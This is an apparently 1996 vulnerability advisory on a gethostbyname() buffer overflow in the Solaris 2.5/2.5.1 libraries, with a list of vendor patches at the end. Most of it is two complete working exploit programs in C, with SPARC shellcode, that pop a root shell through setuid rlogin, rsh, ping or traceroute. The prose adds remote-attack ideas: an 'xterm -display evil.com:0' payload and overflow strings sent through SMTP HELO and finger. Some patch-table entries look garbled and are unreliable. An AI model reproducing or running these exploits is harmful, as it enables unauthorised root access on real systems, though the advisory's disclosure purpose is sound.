COMMAND

    gethostbyname()

SYSTEMS AFFECTED

    Solaris 2.5 and Solaris 2.5.1

PROBLEM

    There has been a buffer over-run vulnerability discovered in  both
    the libc and the libnsl  libraries under Solaris 2.5/2.5.1.   Many
    setuid and setgid  programs, as well  as network programs  running
    with  root  privileges,  are  dynamically  linked  against   these
    libraries.  This vulnerability  has the potential for  any program
    using  these  libraries,  running  with  root  privileges,  to  be
    exploited, giving root privileges.  There is  a good  chance  this
    exploit  can  be  modified  to  allow  a remote attack, but such a
    method has not (yet) been found.

    gethostbyname() appears to have a buffer overrun problem.  Calling
    gethostbyname()  on  a  Solaris  2.5  or  2.5.1  machine  with  an
    argument larger than 8,251 characters causes a segmentation  fault
    or bus error.  This does  *not* seem to happen under Solaris  2.4;
    some change made to the NSL  library between 2.4 and 2.5 seems  to
    have broken this.

    The buffer overrun can be readily exploited by passing a string to
    gethostbyname() that  contains assembler  code to  execute a shell
    and overwrites the stack's return  pointer so the flow of  control
    jumps  to  that  code  when  the  function tries to return.  (This
    technique was described  in detail in  Phrack 49, and  the exploit
    program below is based on their writeup.)

    The implications are somewhat alarming.  Any program that  accepts
    a hostname  from the  user without  imposing a  restriction on the
    length of the hostname, and resolves it using gethostbyname(),  is
    potentially  exploitable.   Any  suid-root  program  fitting  that
    description can  be used  to gain  root privileges.   The  exploit
    program I have  provided uses /usr/bin/rlogin,  but the same  code
    also gives a root shell if used in conjunction with rsh, ping,  or
    traceroute.

    If  a  suitable  daemon  can  be  found,  this  same technique can
    probably also be  used as a  remote exploit.   The asm code  in my
    exploit  program  simply  runs  /bin/sh  (BTW,  I didn't write the
    shellcode myself;  I copied  it from  a similar  program).  If the
    code  is  changed  to  run  something  else  (for  example, 'xterm
    -display  evil.com:0'),  and  a  daemon  can  be  found  that will
    resolve hostnames  without restricting  their length,  remote root
    access may be possible.   For example, any mail daemon  might work
    (HELO <overflow_string>)  or   the   finger   daemon    (finger
    krusty@{overflow_string}@victim.com).

    Note that all  sites running a  public traceroute or  ping gateway
    under Solaris 2.5  or 2.5.1 are  also potentially vulnerable,  and
    probably should disable those services until a patch is  available
    (or indefinitely).

    And here comes exploit too!

    The first (rlogin-exploit.c) executes  a root shell under  Solaris
    2.5[.1]  by  passing  an   appropriately  constructed  string   to
    /usr/bin/rlogin as its argument, which rlogin then resolves  using
    gethostbyname().  This  program also works  to exploit rsh,  ping,
    traceroute, etc.

    The  second  (overflow-demo.c)  is  an  almost  identical program,
    except that  it directly  calls gethostbyname()  instead of  using
    rlogin.   The result  is a  shell of  the same  UID as the calling
    program.   The purpose  of this  program is  simply to demonstrate
    that the bug is part of the NSL library, not rlogin.

--------------------rlogin-exploit.c------------------------------------------

/*
 * rlogin-exploit.c: gets a root shell on most Solaris 2.5/2.5.1 machines
 * by exploiting the gethostbyname() overflow in rlogin.
 *
 * gcc -o rlogin-exploit rlogin-exploit.c
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

#define BUF_LENGTH      8200
#define EXTRA           100
#define STACK_OFFSET    4000
#define SPARC_NOP       0xa61cc013

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}

void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i<code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i<EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);

  execl("/usr/bin/rlogin", "rlogin", buf, (char *) 0);
  perror("execl failed");
}

--------------------overflow-demo.c-------------------------------------------

/*
 * overflow-demo.c: demonstrates the buffer overrun of gethostbyname()
 * in Solaris 2.5/2.5.1.  This should execute a subshell of the same userid
 * as the calling program.
 *
 * gcc -o overflow-demo overflow-demo.c -lnsl
 *
 * Jeremy Elson, 18 Nov 1996
 * jeremy.elson@nih.gov
 */

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <netdb.h>


#define BUF_LENGTH      8200
#define EXTRA           100
#define SPARC_NOP       0xa61cc013
#define STACK_OFFSET    4000

u_char sparc_shellcode[] =
"\x82\x10\x20\xca\xa6\x1c\xc0\x13\x90\x0c\xc0\x13\x92\x0c\xc0\x13"
"\xa6\x04\xe0\x01\x91\xd4\xff\xff\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e"
"\x2f\x0b\xdc\xda\x90\x0b\x80\x0e\x92\x03\xa0\x08\x94\x1a\x80\x0a"
"\x9c\x03\xa0\x10\xec\x3b\xbf\xf0\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc"
"\x82\x10\x20\x3b\x91\xd4\xff\xff";

u_long get_sp(void)
{
  __asm__("mov %sp,%i0 \n");
}


void main(int argc, char *argv[])
{
  char buf[BUF_LENGTH + EXTRA];
  long targ_addr;
  u_long *long_p;
  u_char *char_p;
  int i, code_length = strlen(sparc_shellcode);

  long_p = (u_long *) buf;

  for (i = 0; i<(BUF_LENGTH - code_length) / sizeof(u_long); i++)
    *long_p++ = SPARC_NOP;

  char_p = (u_char *) long_p;

  for (i = 0; i<code_length; i++)
    *char_p++ = sparc_shellcode[i];

  long_p = (u_long *) char_p;

  targ_addr = get_sp() - STACK_OFFSET;
  for (i = 0; i<EXTRA / sizeof(u_long); i++)
    *long_p++ = targ_addr;

  printf("Jumping to address 0x%lx\n", targ_addr);
  gethostbyname(buf);
}
------------------------------------------------------------------------------

    It appears that in nsswitch.conf, but as soon as you add "nis"  in
    there the exploit program just sends things into an infinite loop.

SOLUTION


    The patches required to close this vulnerability are listed below.

    Solaris 2.x (SunOS 5.x) patches

    Patches which replace the  affected libraries and executables  are
    available for every supported version of SunOS 5.x.

        OS version      Patch ID
        ----------      ---------
        SunOS 5.5       103187-09
        SunOS 5.5_X86   103188-09
        SunOS 5.1.1     103612-06
        SunOS 5.5.1_x86 103613-06
        SunOS 5.1.1_ppc 103614-06